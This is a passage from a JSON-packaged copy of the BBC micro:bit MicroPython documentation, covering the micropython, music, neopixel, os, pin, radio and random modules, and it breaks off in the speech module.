# read bytes into the referenced buffer.\n    uart.readinto(buffer)\n    # write bytes from the buffer to the connected device.\n    uart.write(buffer)\n"
  },
  {
    "path": "micropython/docs/micropython.rst",
    "content": "..\n   MicroPython license information\n   ===============================\n\n   The MIT License (MIT)\n\n   Copyright (c) 2013-2017 Damien P. George, and others\n\n   Permission is hereby granted, free of charge, to any person obtaining a copy\n   of this software and associated documentation files (the \"Software\"), to deal\n   in the Software without restriction, including without limitation the rights\n   to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n   copies of the Software, and to permit persons to whom the Software is\n   furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included in\n   all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n   THE SOFTWARE.\n\n\nMicroPython\n***********\n\n.. py:module:: micropython\n\nAccess and control MicroPython internals.\n\nFunctions\n=========\n\n.. py:function:: micropython.const(expr)\n\n    Used to declare that the expression is a constant so that the compiler can \n    optimise it. The use of this function should be as follows:\n\n    .. code-block:: python\n\n        from micropython import const\n        CONST_X = const(123)\n        CONST_Y = const(2 * CONST_X + 1)\n\n    Constants declared this way are still accessible as global variables from \n    outside the module they are declared in. On the other hand, if a constant \n    begins with an underscore then it is hidden, it is not available as a \n    global variable, and does not take up any memory during execution.\n\n\n.. py:function:: micropython.opt_level([level])\n\n    If level is given then this function sets the optimisation level for \n    subsequent compilation of scripts, and returns None. Otherwise it returns \n    the current optimisation level.\n\n    The optimisation level controls the following compilation features:\n\n    *   Assertions: at level 0 assertion statements are enabled and compiled \n        into the bytecode; at levels 1 and higher assertions are not compiled.\n\n    *   Built-in ``__debug__`` variable: at level 0 this variable expands to \n        True; at levels 1 and higher it expands to False.\n\n    *   Source-code line numbers: at levels 0, 1 and 2 source-code line number \n        are stored along with the bytecode so that exceptions can report the \n        line number they occurred at; at levels 3 and higher line numbers are \n        not stored.\n\n    The default optimisation level is usually level 0.\n\n\n.. py:function:: micropython.mem_info([verbose])\n\n    Print information about currently used memory. If the verbose argument is \n    given then extra information is printed.\n\n\n.. py:function:: micropython.qstr_info([verbose])\n\n    Print information about currently interned strings. If the verbose argument\n    is given then extra information is printed.\n\n    This includes the number of interned strings and the amount of RAM they \n    use. In verbose mode it prints out the names of all RAM-interned strings.\n\n\n.. py:function:: micropython.stack_use()\n\n    Return an integer representing the current amount of stack that is being \n    used. The absolute value of this is not particularly useful, rather it \n    should be used to compute differences in stack usage at different points.\n\n\n.. py:function:: micropython.heap_lock()\n\n\n.. py:function:: micropython.heap_unlock()\n\n    Lock or unlock the heap. When locked no memory allocation can occur and a \n    ``MemoryError`` will be raised if any heap allocation is attempted.\n\n\n.. py:function:: micropython.kbd_intr(chr)\n\n    Set the character that will raise a KeyboardInterrupt exception. By default\n    this is set to 3 during script execution, corresponding to Ctrl-C. Passing \n    -1 to this function will disable capture of Ctrl-C, and passing 3 will \n    restore it.\n\n    This function can be used to prevent the capturing of Ctrl-C on the \n    incoming stream of characters that is usually used for the REPL, in case \n    that stream is used for other purposes"
  },
  {
    "path": "micropython/docs/music.rst",
    "content": "Music\n*****\n\n.. py:module:: music\n\nThis is the ``music`` module. You can use it to play simple tunes, provided\nthat you connect a speaker to your board. By default the ``music`` module\nexpects the speaker to be connected via pin 0:\n\n.. image:: music-pins.png\n\nThis arrangement can be overridden (as discussed below).\n\nTo access this module you need to::\n\n    import music\n\nWe assume you have done this for the examples below.\n\nMusical Notation\n================\n\nAn individual note is specified thus::\n\n    NOTE[octave][:duration]\n\nFor example, ``A1:4`` refers to the note \"A\" in octave 1 that lasts for four\nticks (a tick is an arbitrary length of time defined by a tempo setting\nfunction - see below). If the note name ``R`` is used then it is treated as a\nrest (silence).\n\nAccidentals (flats and sharps) are denoted by the ``b`` (flat - a lower case b)\nand ``#`` (sharp - a hash symbol). For example, ``Ab`` is A-flat and ``C#`` is\nC-sharp.\n\n**Note names are case-insensitive.**\n\nThe ``octave`` and ``duration`` parameters are states that carry over to\nsubsequent notes until re-specified. The default states are ``octave = 4``\n(containing middle C) and ``duration = 4`` (a crotchet, given the default tempo\nsettings - see below).\n\nFor example, if 4 ticks is a crotchet, the following list is crotchet, quaver,\nquaver, crotchet based arpeggio::\n\n    ['c1:4', 'e:2', 'g', 'c2:4']\n\nThe opening of Beethoven's 5th Symphony would be encoded thus::\n\n    ['r4:2', 'g', 'g', 'g', 'eb:8', 'r:2', 'f', 'f', 'f', 'd:8']\n\nThe definition and scope of an octave conforms to the table listed `on this\npage about scientific pitch notation`_.  For example, middle \"C\" is ``'c4'`` and\nconcert \"A\" (440) is ``'a4'``. Octaves start on the note \"C\".\n\n.. _on this page about scientific pitch notation: https://en.wikipedia.org/wiki/Scientific_pitch_notation#Table_of_note_frequencies\n\n\nFunctions\n=========\n\n.. py:function:: set_tempo(ticks=4, bpm=120)\n\n    Sets the approximate tempo for playback.\n\n    A number of ticks (expressed as an integer) constitute a beat. Each beat is to be played at a certain frequency per minute (expressed as the more familiar BPM - beats per minute - also as an integer).\n\n    Suggested default values allow the following useful behaviour:\n\n    * ``music.set_tempo()`` - reset the tempo to default of ticks = 4, bpm = 120\n    * ``music.set_tempo(ticks=8)`` - change the \"definition\" of a beat\n    * ``music.set_tempo(bpm=180)`` - just change the tempo\n\n    To work out the length of a tick in milliseconds is very simple arithmetic: ``60000/bpm/ticks_per_beat`` . For the default values that's ``60000/120/4 = 125 milliseconds`` or ``1 beat = 500 milliseconds``.\n\n.. py:function:: get_tempo()\n\n    Gets the current tempo as a tuple of integers: ``(ticks, bpm)``.\n\n.. py:function:: play(music, pin=microbit.pin0, wait=True, loop=False)\n\n    Plays ``music`` containing the musical DSL defined above.\n\n    If ``music`` is a string it is expected to be a single note such as,\n    ``'c1:4'``.\n\n    If ``music`` is specified as a list of notes (as defined in the section on\n    the musical DSL, above) then they are played one after the other to perform\n    a melody.\n\n    In both cases, the ``duration`` and ``octave`` values are reset to\n    their defaults before the music (whatever it may be) is played.\n\n    An optional argument to specify the output pin can be used to override the\n    default of ``microbit.pin0``.\n\n    If ``wait`` is set to ``True``, this function is blocking.\n\n    If ``loop`` is set to ``True``, the tune repeats until ``stop`` is called\n    (see below) or the blocking call is interrupted.\n\n.. py:function:: pitch(frequency, duration=-1, pin=microbit.pin0, wait=True)\n\n    Plays a pitch at the integer frequency given for the specified number of\n    milliseconds. For example, if the frequency is set to 440 and the length to\n    1000 then we hear a standard concert A for one second.\n\n    Note that you can only play one pitch on one pin at any one time.\n\n    If ``wait`` is set to ``True``, this function is blocking.\n\n    If ``duration`` is negative the pitch is played continuously until either the\n    blocking call is interrupted or, in the case of a background call, a new\n    frequency is set or ``stop`` is called (see below).\n\n.. py:function:: stop(pin=microbit.pin0)\n    \n    Stops all music playback on a given pin, eg. ``music.stop(pin1)``. \n    If no pin is given, eg. ``music.stop()`` pin0 is assumed.\n\n.. py:function:: reset()\n\n    Resets the state of the following attributes in the following way:\n\n        * ``ticks = 4``\n        * ``bpm = 120``\n        * ``duration = 4``\n        * ``octave = 4``\n\nBuilt in Melodies\n-----------------\n\nFor the purposes of education and entertainment, the module contains several\nexample tunes that are expressed as Python lists. They can be used like this::\n\n    >>> import music\n    >>> music.play(music.NYAN)\n\nAll the tunes are either out of copyright, composed by Nicholas H.Tollervey and\nreleased to the public domain or have an unknown composer and are covered by a\nfair (educational) use provision.\n\nThey are:\n\n    * ``DADADADUM`` - the opening to Beethoven's 5th Symphony in C minor.\n    * ``ENTERTAINER`` - the opening fragment of Scott Joplin's Ragtime classic \"The Entertainer\".\n    * ``PRELUDE`` - the opening of the first Prelude in C Major of J.S.Bach's 48 Preludes and Fugues.\n    * ``ODE`` - the \"Ode to Joy\" theme from Beethoven's 9th Symphony in D minor.\n    * ``NYAN`` - the Nyan Cat theme (http://www.nyan.cat/). The composer is unknown. This is fair use for educational porpoises (as they say in New York).\n    * ``RINGTONE`` - something that sounds like a mobile phone ringtone. To be used to indicate an incoming message.\n    * ``FUNK`` - a funky bass line for secret agents and criminal masterminds.\n    * ``BLUES`` - a boogie-woogie 12-bar blues walking bass.\n    * ``BIRTHDAY`` - \"Happy Birthday to You...\" for copyright status see: http://www.bbc.co.uk/news/world-us-canada-34332853\n    * ``WEDDING`` - the bridal chorus from Wagner's opera \"Lohengrin\".\n    * ``FUNERAL`` - the \"funeral march\" otherwise known as Frédéric Chopin's Piano Sonata No. 2 in B♭ minor, Op. 35.\n    * ``PUNCHLINE`` - a fun fragment that signifies a joke has been made.\n    * ``PYTHON`` - John Philip Sousa's march \"Liberty Bell\" aka, the theme for \"Monty Python's Flying Circus\" (after which the Python programming language is named).\n    * ``BADDY`` - silent movie era entrance of a baddy.\n    * ``CHASE`` - silent movie era chase scene.\n    * ``BA_DING`` - a short signal to indicate something has happened.\n    * ``WAWAWAWAA`` - a very sad trombone.\n    * ``JUMP_UP`` - for use in a game, indicating upward movement.\n    * ``JUMP_DOWN`` - for use in a game, indicating downward movement.\n    * ``POWER_UP`` - a fanfare to indicate an achievement unlocked.\n    * ``POWER_DOWN`` - a sad fanfare to indicate an achievement lost.\n\nExample\n-------\n\n.. include:: ../examples/music.py\n    :code: python\n"
  },
  {
    "path": "micropython/docs/neopixel.rst",
    "content": "NeoPixel\n********\n\n.. py:module:: neopixel\n\nThe ``neopixel`` module lets you use NeoPixel (WS2812) individually addressable\nRGB LED strips with the micro:bit. Note to use the ``neopixel`` module, you\nneed to import it separately with::\n\n    import neopixel\n\n.. note::\n\n    From our tests, the Microbit NeoPixel module can drive up to around 256\n    NeoPixels. Anything above that and you may experience weird bugs and\n    issues. As the micro:bit can only supply 90mA to external devices,\n    larger numbers of NeoPixels require an external power supply with common\n    ground.\n\n    NeoPixels are designed to work at 5V, but luckily they still function using\n    the 3V supply of the BBC micro:bit. Please note that the micro:bit edge\n    connector should not be connected to anything supplying 5V.\n\n\nNeoPixels are fun strips of multi-coloured programmable LEDs. This module\ncontains everything to plug them into a micro:bit and create funky displays,\nart and games such as the demo shown below.\n\n.. image:: neopixel.gif\n\nTo connect a strip of neopixels you'll need to attach the micro:bit as shown\nbelow (assuming you want to drive the pixels from pin 0 - you can connect\nneopixels to pins 1 and 2 too). The label on the crocodile clip tells you where\nto attach the other end on the neopixel strip. The VDD pin may be labelled\nas something else on some variants of neopixels - for example \"V+\". In some\ncases it may be called \"+5V\" and it is only safe to use this if you have no\nother 5V devices connected.\n\n.. warning::\n\n    Do not use the 3v connector on the Microbit to power any more than 8\n    Neopixels at a time.\n\n    If you wish to use more than 8 Neopixels, you must use a separate 3v-5v\n    power supply for the Neopixel power pin.\n\n.. image:: neopixel-croc.png\n\nClasses\n=======\n\n.. py:class::\n    NeoPixel(pin, n)\n\n    Initialise a new strip of ``n`` number of neopixel LEDs controlled via pin\n    ``pin``. Each pixel is addressed by a position (starting from 0). Neopixels\n    are given RGB (red, green, blue) values between 0-255 as a tuple. For\n    example, ``(255,255,255)`` is white.\n\n    .. py:method:: clear()\n\n        Clear all the pixels.\n\n\n    .. py:method:: show()\n\n        Show the pixels. Must be called for any updates to become visible.\n\nOperations\n==========\n\nWriting the colour doesn't update the display (use ``show()`` for that).\n\n.. code::\n\n    np[0] = (255, 0, 128)  # first element\n    np[-1] = (0, 255, 0)  # last element\n    np.show()  # only now will the updated value be shown\n\nTo read the colour of a specific pixel just reference it.\n\n.. code::\n\n    print(np[0])\n\nUsing Neopixels\n===============\n\nInteract with Neopixels as if they were a list of tuples. Each tuple represents\nthe RGB (red, green and blue) mix of colours for a specific pixel. The RGB\nvalues can range between 0 to 255.\n\nFor example, initialise a strip of 8 neopixels on a strip connected to pin0\nlike this::\n\n    import neopixel\n    np = neopixel.NeoPixel(pin0, 8)\n\nSet pixels by indexing them (like with a Python list). For instance, to\nset the first pixel to full brightness red, you would use::\n\n    np[0] = (255, 0, 0)\n\nOr the final pixel to purple::\n\n    np[-1] = (255, 0, 255)\n\nGet the current colour value of a pixel by indexing it. For example, to print\nthe first pixel's RGB value use::\n\n    print(np[0])\n\nFinally, to push the new colour data to your Neopixel strip, use the .show()\nfunction::\n\n    np.show()\n\nIf nothing is happening, it's probably because you've forgotten this final\nstep..!\n\n.. note::\n\n    If you're not seeing anything change on your Neopixel strip, make sure\n    you have ``show()`` at least somewhere otherwise your updates won't be\n    shown.\n\nExample\n=======\n\n.. include:: ../examples/neopixel_random.py\n    :code: python\n"
  },
  {
    "path": "micropython/docs/os.rst",
    "content": "The ``os``  Module\n******************\n\n.. py:module:: os\n\nMicroPython contains an ``os`` module based upon the ``os`` module in the\nPython standard library. It's used for accessing what would traditionally be\ntermed as operating system dependent functionality. Since there is no operating\nsystem in MicroPython the module provides functions relating to the management\nof the simple on-device persistent file system and information about the\ncurrent system.\n\nTo access this module you need to::\n\n    import os\n\nWe assume you have done this for the examples below.\n\nFunctions\n=========\n\n.. py:function:: listdir()\n\n    Returns a list of the names of all the files contained within the local\n    persistent on-device file system.\n\n.. py:function:: remove(filename)\n\n    Removes (deletes) the file named in the argument ``filename``. If the file\n    does not exist an ``OSError`` exception will occur.\n\n.. py:function:: size(filename)\n\n    Returns the size, in bytes, of the file named in the argument ``filename``.\n    If the file does not exist an ``OSError`` exception will occur.\n\n.. py:function:: uname()\n\n    Returns information identifying the current operating system. The return\n    value is an object with five attributes:\n\n    * ``sysname`` - operating system name\n    * ``nodename`` - name of machine on network (implementation-defined)\n    * ``release`` - operating system release\n    * ``version`` - operating system version\n    * ``machine`` - hardware identifier\n\n\n.. note::\n\n    There is no underlying operating system in MicroPython. As a result the\n    information returned by the ``uname`` function is mostly useful for\n    versioning details.\n"
  },
  {
    "path": "micropython/docs/pin.rst",
    "content": "Input/Output Pins\n*****************\n\n.. py:module:: microbit\n\nThe pins are your board's way to communicate with external devices connected to\nit. There are 19 pins for your disposal, numbered 0-16 and 19-20. Pins 17 and\n18 are not available.\n\nFor example, the script below will change the display on the micro:bit\ndepending upon the digital reading on pin 0::\n\n    from microbit import *\n\n\n    while True:\n        if pin0.read_digital():\n            display.show(Image.HAPPY)\n        else:\n            display.show(Image.SAD)\n\n\nPin Functions\n=============\n\n.. image:: pinout.png\n\nThose pins are available as attributes on the ``microbit``\nmodule:``microbit.pin0`` - ``microbit.pin20``.\n\n+-----+---------+----------+\n| Pin | Type    | Function |\n+=====+=========+==========+\n|  0  | Touch   | Pad 0    |\n+-----+---------+----------+\n|  1  | Touch   | Pad 1    |\n+-----+---------+----------+\n|  2  | Touch   | Pad 2    |\n+-----+---------+----------+\n|  3  | Analog  | Column 1 |\n+-----+---------+----------+\n|  4  | Analog  | Column 2 |\n+-----+---------+----------+\n|  5  | Digital | Button A |\n+-----+---------+----------+\n|  6  | Digital | Column 9 |\n+-----+---------+----------+\n|  7  | Digital | Column 8 |\n+-----+---------+----------+\n|  8  | Digital |          |\n+-----+---------+----------+\n|  9  | Digital | Column 7 |\n+-----+---------+----------+\n|  10 | Analog  | Column 3 |\n+-----+---------+----------+\n|  11 | Digital | Button B |\n+-----+---------+----------+\n|  12 | Digital |          |\n+-----+---------+----------+\n|  13 | Digital | SPI SCK  |\n+-----+---------+----------+\n|  14 | Digital | SPI MISO |\n+-----+---------+----------+\n|  15 | Digital | SPI MOSI |\n+-----+---------+----------+\n|  16 | Digital |          |\n+-----+---------+----------+\n+-----+---------+----------+\n|  19 | Digital | I2C SCL  |\n+-----+---------+----------+\n|  20 | Digital | I2C SDA  |\n+-----+---------+----------+\n\nThe above table summarizes the pins available, their types (see below) and what\nthey are internally connected to.\n\n\nPulse-Width Modulation\n----------------------\n\nThe pins of your board cannot output analog signal the way an audio amplifier\ncan do it -- by modulating the voltage on the pin. Those pins can only either\nenable the full 3.3V output, or pull it down to 0V. However, it is still\npossible to control the brightness of LEDs or speed of an electric motor, by\nswitching that voltage on and off very fast, and controlling how long it is on\nand how long it is off. This technique is called Pulse-Width Modulation (PWM),\nand that's what the ``write_analog`` method below does.\n\n.. image:: pwm.png\n\nAbove you can see the diagrams of three different PWM signals. All of them have\nthe same period (and thus frequency), but they have different duty cycles.\n\nThe first one would be generated by ``write_analog(511)``, as it has exactly\n50% duty -- the power is on half of the time, and off half of the time. The\nresult of that is that the total energy of this signal is the same, as if it\nwas 1.65V instead of 3.3V.\n\nThe second signal has 25% duty cycle, and could be generated with\n``write_analog(255)``. It has similar effect as if 0.825V was being output on\nthat pin.\n\nThe third signal has 75% duty cycle, and can be generated with\n``write_analog(767)``. It has three times as much energy, as the second signal,\nand is equivalent to outputting 2.475V on th pin.\n\nNote that this works well with devices such as motors, which have huge inertia\nby themselves, or LEDs, which blink too fast for the human eye to see the\ndifference, but will not work so good with generating sound waves. This board\ncan only generate square wave sounds on itself, which sound pretty much like\nthe very old computer games -- mostly because those games also only could do\nthat.\n\n\nClasses\n=======\n\nThere are three kinds of pins, differing in what is available for them. They\nare represented by the classes listed below. Note that they form a hierarchy,\nso that each class has all the functionality of the previous class, and adds\nits own to that.\n\n.. note::\n    Those classes are not actually available for the user, you can't create\n    new instances of them. You can only use the instances already provided,\n    representing the physical pins on your board.\n\n.. py:class:: MicroBitDigitalPin\n\n    .. py:method:: read_digital()\n\n        Return 1 if the pin is high, and 0 if it's low.\n\n    .. py:method:: write_digital(value)\n\n        Set the pin to high if ``value`` is 1, or to low, if it is 0.\n\n    .. py:method::set_pull(value)\n\n        Set the pull state to one of three possible values: ``pin.PULL_UP``,\n        ``pin.PULL_DOWN`` or ``pin.NO_PULL`` (where ``pin`` is an instance of\n        a pin). See below for discussion of default pull states.\n\n\n    .. py:method::get_pull()\n\n        Returns the pull configuration on a pin, which can be one of three \n        possible values: ``NO_PULL``, ``PULL_DOWN``, or ``PULL_UP``. These \n        are set using the ``set_pull()`` method or automatically configured \n        when a pin mode requires it.\n\n    .. py:method::get_mode()\n\n        Returns the pin mode. When a pin is used for a specific function, like \n        writing a digital value, or reading an analog value, the pin mode \n        changes. Pins can have one of the following modes: ``MODE_UNUSED``, \n        ``MODE_WRITE_ANALOG``, ``MODE_READ_DIGITAL``, ``MODE_WRITE_DIGITAL``, \n        ``MODE_DISPLAY``, ``MODE_BUTTON``, ``MODE_MUSIC``, ``MODE_AUDIO_PLAY``,\n        ``MODE_TOUCH``, ``MODE_I2C``, ``MODE_SPI``.\n\n\n.. py:class:: MicroBitAnalogDigitalPin\n\n    .. py:method:: read_analog()\n\n        Read the voltage applied to the pin, and return it as an integer\n        between 0 (meaning 0V) and 1023 (meaning 3.3V).\n\n\n    .. py:method:: write_analog(value)\n\n        Output a PWM signal on the pin, with the duty cycle proportional to\n        the provided ``value``. The ``value`` may be either an integer or a\n        floating point number between 0 (0% duty cycle) and 1023 (100% duty).\n\n    .. py:method:: set_analog_period(period)\n\n        Set the period of the PWM signal being output to ``period`` in\n        milliseconds. The minimum valid value is 1ms.\n\n    .. py:method:: set_analog_period_microseconds(period)\n\n        Set the period of the PWM signal being output to ``period`` in\n        microseconds. The minimum valid value is 256µs.\n\n\n.. py:class:: MicroBitAnalogDigitalPin\n\n    .. py:method:: read_analog()\n\n        Read the voltage applied to the pin, and return it as an integer\n        between 0 (meaning 0V) and 1023 (meaning 3.3V).\n\n\n.. py:class:: MicroBitTouchPin\n\n    .. py:method:: is_touched()\n\n        Return ``True`` if the pin is being touched with a finger, otherwise\n        return ``False``.\n\n        This test is done by measuring how much resistance there is between the\n        pin and ground.  A low resistance gives a reading of ``True``.  To get\n        a reliable reading using a finger you may need to touch the ground pin\n        with another part of your body, for example your other hand.\n\nThe pull mode for a pin is automatically configured when the pin changes to an\ninput mode. Input modes are when you call ``read_analog`` / ``read_digital`` /\n``is_touched``. The default pull mode for these is, respectively, ``NO_PULL``,\n``PULL_DOWN``, ``PULL_UP``. Calling ``set_pull`` will configure the pin to be\nin ``read_digital`` mode with the given pull mode.\n\n\n.. note::\n    The micro:bit has external weak (10M) pull-ups fitted on pins\n    0, 1 and 2 only, in order for the touch sensing to work.\n\n    There are also external (10k) pull-ups fitted on pins 5 and 11, in order\n    for buttons A and B to work.\n\n    GPIO pins are also used for the display. 6 of these are routed to the\n    edge connector at 3, 4, 6, 7, 9. and 10. If you want to use these pins\n    for another purpose, you may need to turn the `display off\n    <https://microbit-micropython.readthedocs.io/en/latest/display.html#microbit.display.off>`_.\n\n    See the `edge connector data sheet\n    <http://tech.microbit.org/hardware/edgeconnector_ds>`_.\n"
  },
  {
    "path": "micropython/docs/radio.rst",
    "content": "Radio\n*****\n\n.. py:module:: radio\n\nThe ``radio`` module allows devices to work together via simple wireless\nnetworks.\n\nThe radio module is conceptually very simple:\n\n* Broadcast messages are of a certain configurable length (up to 251 bytes).\n* Messages received are read from a queue of configurable size (the larger the queue the more RAM is used). If the queue is full, new messages are ignored. Reading a message removes it from the queue.\n* Messages are broadcast and received on a preselected channel (numbered 0-83).\n* Broadcasts are at a certain level of power - more power means more range.\n* Messages are filtered by address (like a house number) and group (like a named recipient at the specified address).\n* The rate of throughput can be one of three pre-determined settings.\n* Send and receive bytes to work with arbitrary data.\n* Use `receive_full` to obtain full details about an incoming message: the data, receiving signal strength, and a microsecond timestamp when the message arrived.\n* As a convenience for children, it's easy to send and receive messages as strings.\n* The default configuration is both sensible and compatible with other platforms that target the BBC micro:bit.\n\nTo access this module you need to::\n\n    import radio\n\nWe assume you have done this for the examples below.\n\nConstants\n=========\n\n.. py:attribute:: RATE_250KBIT\n\n    Constant used to indicate a throughput of 256 Kbit a second.\n\n.. py:attribute:: RATE_1MBIT\n\n    Constant used to indicate a throughput of 1 MBit a second.\n\n.. py:attribute:: RATE_2MBIT\n\n    Constant used to indicate a throughput of 2 MBit a second.\n\n\nFunctions\n=========\n\n.. py:function:: on()\n\n    Turns the radio on. This needs to be explicitly called since the radio\n    draws power and takes up memory that you may otherwise need.\n\n.. py:function:: off()\n\n    Turns off the radio, thus saving power and memory.\n\n.. py:function:: config(**kwargs)\n\n    Configures various keyword based settings relating to the radio. The\n    available settings and their sensible default values are listed below.\n\n    The ``length`` (default=32) defines the maximum length, in bytes, of a\n    message sent via the radio. It can be up to 251 bytes long (254 - 3 bytes\n    for S0, LENGTH and S1 preamble).\n\n    The ``queue`` (default=3) specifies the number of messages that can be\n    stored on the incoming message queue. If there are no spaces left on the\n    queue for incoming messages, then the incoming message is dropped.\n\n    The ``channel`` (default=7) can be an integer value from 0 to 83\n    (inclusive) that defines an arbitrary \"channel\" to which the radio is\n    tuned. Messages will be sent via this channel and only messages received\n    via this channel will be put onto the incoming message queue. Each step is\n    1MHz wide, based at 2400MHz.\n\n    The ``power`` (default=6) is an integer value from 0 to 7 (inclusive) to\n    indicate the strength of signal used when broadcasting a message. The\n    higher the value the stronger the signal, but the more power is consumed\n    by the device. The numbering translates to positions in the following list\n    of dBm (decibel milliwatt) values: -30, -20, -16, -12, -8, -4, 0, 4.\n\n    The ``address`` (default=0x75626974) is an arbitrary name, expressed as a\n    32-bit address, that's used to filter incoming packets at the hardware\n    level, keeping only those that match the address you set. The default used\n    by other micro:bit related platforms is the default setting used here.\n\n    The ``group`` (default=0) is an 8-bit value (0-255) used with the\n    ``address`` when filtering messages. Conceptually, \"address\" is like a\n    house/office address and \"group\" is like the person at that address to\n    which you want to send your message.\n\n    The ``data_rate`` (default=radio.RATE_1MBIT) indicates the speed at which\n    data throughput takes place. Can be one of the following contants defined\n    in the ``radio`` module : ``RATE_250KBIT``, ``RATE_1MBIT`` or\n    ``RATE_2MBIT``.\n\n    If ``config`` is not called then the defaults described above are assumed.\n\n.. py:function:: reset()\n\n    Reset the settings to their default values (as listed in the documentation\n    for the ``config`` function above).\n\n.. note::\n\n    None of the following send or receive methods will work until the radio is\n    turned on.\n\n.. py:function:: send_bytes(message)\n\n    Sends a message containing bytes.\n\n.. py:function:: receive_bytes()\n\n    Receive the next incoming message on the message queue. Returns ``None`` if\n    there are no pending messages. Messages are returned as bytes.\n\n.. py:function:: receive_bytes_into(buffer)\n\n    Receive the next incoming message on the message queue. Copies the message\n    into ``buffer``, trimming the end of the message if necessary.\n    Returns ``None`` if there are no pending messages, otherwise it returns the length\n    of the message (which might be more than the length of the buffer).\n\n.. py:function:: send(message)\n\n    Sends a message string. This is the equivalent of\n    ``send_bytes(bytes(message, 'utf8'))`` but with ``b'\\x01\\x00\\x01'``\n    prepended to the front (to make it compatible with other platforms that\n    target the micro:bit).\n\n.. py:function:: receive()\n\n    Works in exactly the same way as ``receive_bytes`` but returns\n    whatever was sent.\n\n    Currently, it's equivalent to ``str(receive_bytes(), 'utf8')`` but with a\n    check that the the first three bytes are ``b'\\x01\\x00\\x01'`` (to make it\n    compatible with other platforms that may target the micro:bit). It strips\n    the prepended bytes before converting to a string.\n\n    A ``ValueError`` exception is raised if conversion to string fails.\n\n.. py:function:: receive_full()\n\n    Returns a tuple containing three values representing the next incoming\n    message on the message queue. If there are no pending messages then\n    ``None`` is returned.\n\n    The three values in the tuple represent:\n\n    * the next incoming message on the message queue as bytes.\n    * the RSSI (signal strength): a value between 0 (strongest) and -255 (weakest) as measured in dBm.\n    * a microsecond timestamp: the value returned by ``time.ticks_us()`` when the message was received.\n\n    For example::\n\n        details = radio.receive_full()\n        if details:\n            msg, rssi, timestamp = details\n\n    This function is useful for providing information needed for triangulation\n    and/or triliteration with other micro:bit devices.\n\n\nExamples\n--------\n\n.. include:: ../examples/radio.py\n    :code: python\n"
  },
  {
    "path": "micropython/docs/random.rst",
    "content": "Random Number Generation\n************************\n\n.. py:module:: random\n\nThis module is based upon the ``random`` module in the Python standard library.\nIt contains functions for generating random behaviour.\n\nTo access this module you need to::\n\n    import random\n\nWe assume you have done this for the examples below.\n\nFunctions\n=========\n\n.. py:function:: getrandbits(n)\n\n    Returns an integer with ``n`` random bits.\n\n.. warning::\n\n    Because the underlying generator function returns at most 30 bits, ``n``\n    may only be a value between 1-30 (inclusive).\n\n.. py:function:: seed(n)\n\n    Initialize the random number generator with a known integer ``n``. This\n    will give you reproducibly deterministic randomness from a given starting\n    state (``n``).\n\n\n.. py:function:: randint(a, b)\n\n    Return a random integer ``N`` such that ``a <= N <= b``. Alias for\n    ``randrange(a, b+1)``.\n\n\n.. py:function:: randrange(stop)\n\n    Return a randomly selected integer between zero and up to (but not\n    including) ``stop``.\n\n.. py:function:: randrange(start, stop)\n\n    Return a randomly selected integer from ``range(start, stop)``.\n\n.. py:function:: randrange(start, stop, step)\n\n    Return a randomly selected element from ``range(start, stop, step)``.\n\n\n.. py:function:: choice(seq)\n\n    Return a random element from the non-empty sequence ``seq``. If ``seq`` is\n    empty, raises ``IndexError``.\n\n\n.. py:function:: random()\n\n    Return the next random floating point number in the range [0.0, 1.0)\n\n\n.. py:function:: uniform(a, b)\n\n    Return a random floating point number ``N`` such that ``a <= N <= b``\n    for ``a <= b`` and ``b <= N <= a`` for ``b < a``.\n"
  },
  {
    "path": "micropython/docs/speech.rst",
    "content": "Speech\n******\n\n.. warning::\n\n    WARNING! This is still work in progress; we reserve the right to change this API as development continues.\n\n    The quality of the speech is not great, merely \"good enough\". Given the\n    constraints of the device you may encounter memory errors and / or\n    unexpected extra sounds during playback. It's early days and we're\n    improving the code for the speech synthesiser all the time. Bug reports\n    and pull requests are most welcome.\n\n\n.. py:module:: speech\n\nThis module makes microbit talk, sing and make other speech like sounds\nprovided that you connect a speaker to your board as shown below:\n\n.. image:: speech.png\n\n.. note::\n\n    This work is based upon the amazing reverse engineering efforts of\n    Sebastian Macke based upon an old text-to-speech (TTS) program called SAM\n    (Software Automated Mouth) originally released in 1982 for the\n    Commodore 64. The result is a small C library that we have adopted and\n    adapted for the micro:bit. You can find out more from\n    `his homepage <http://simulationcorner.net/index.php?page=sam>`_. Much of\n    the information in this document was gleaned from the original user's\n    manual which can be found\n    `here <http://www.apple-iigs.info/newdoc/sam.pdf>`_.\n\nThe speech synthesiser can produce around 2.5 seconds worth of sound from up to\n255 characters of textual input.\n\nTo access this module you need to::\n\n    import speech\n\nWe assume you have done this for the examples below.\n\nFunctions\n=========\n\n.. py:function:: translate(words)\n\n    Given English words in the string ``words``, return a string containing\n    a best guess at the appropriate phonemes to pronounce. The output is\n    generated from this\n    `text to phoneme translation table <https://github.com/s-macke/SAM/wiki/Text-to-phoneme-translation-table>`_.\n\n    This function should be used to generate a first approximation of phonemes\n    that can be further hand-edited to improve accuracy, inflection and\n    emphasis.\n\n.. py:function:: pronounce(phonemes, \\*, pitch=64, speed=72, mouth=128, throat=128)\n\n    Pronounce the phonemes in the string ``phonemes``. See below for details of\n    how to use phonemes to finely control the output of the speech synthesiser.\n    Override the optional pitch, speed, mouth and throat settings to change the\n    timbre (quality) of the voice.\n\n.. py:function:: say(words, \\*, pitch=64, speed=72, mouth=128, throat=128)\n\n    Say the English words in the string ``words``. The result is semi-accurate\n    for English. Override the optional pitch, speed, mouth and throat\n    settings to change the timbre (quality) of the voice. This is a short-hand\n    equivalent of: ``speech.pronounce(speech.translate(words))``\n\n.. py:function:: sing(phonemes, \\*, pitch=64, speed=72, mouth=128, throat=128)\n\n    Sing the phonemes contained in the string ``phonemes``. Changing the pitch\n    and duration of the note is described below. Override the optional pitch,\n    speed, mouth and throat settings to change the timbre (quality) of the\n    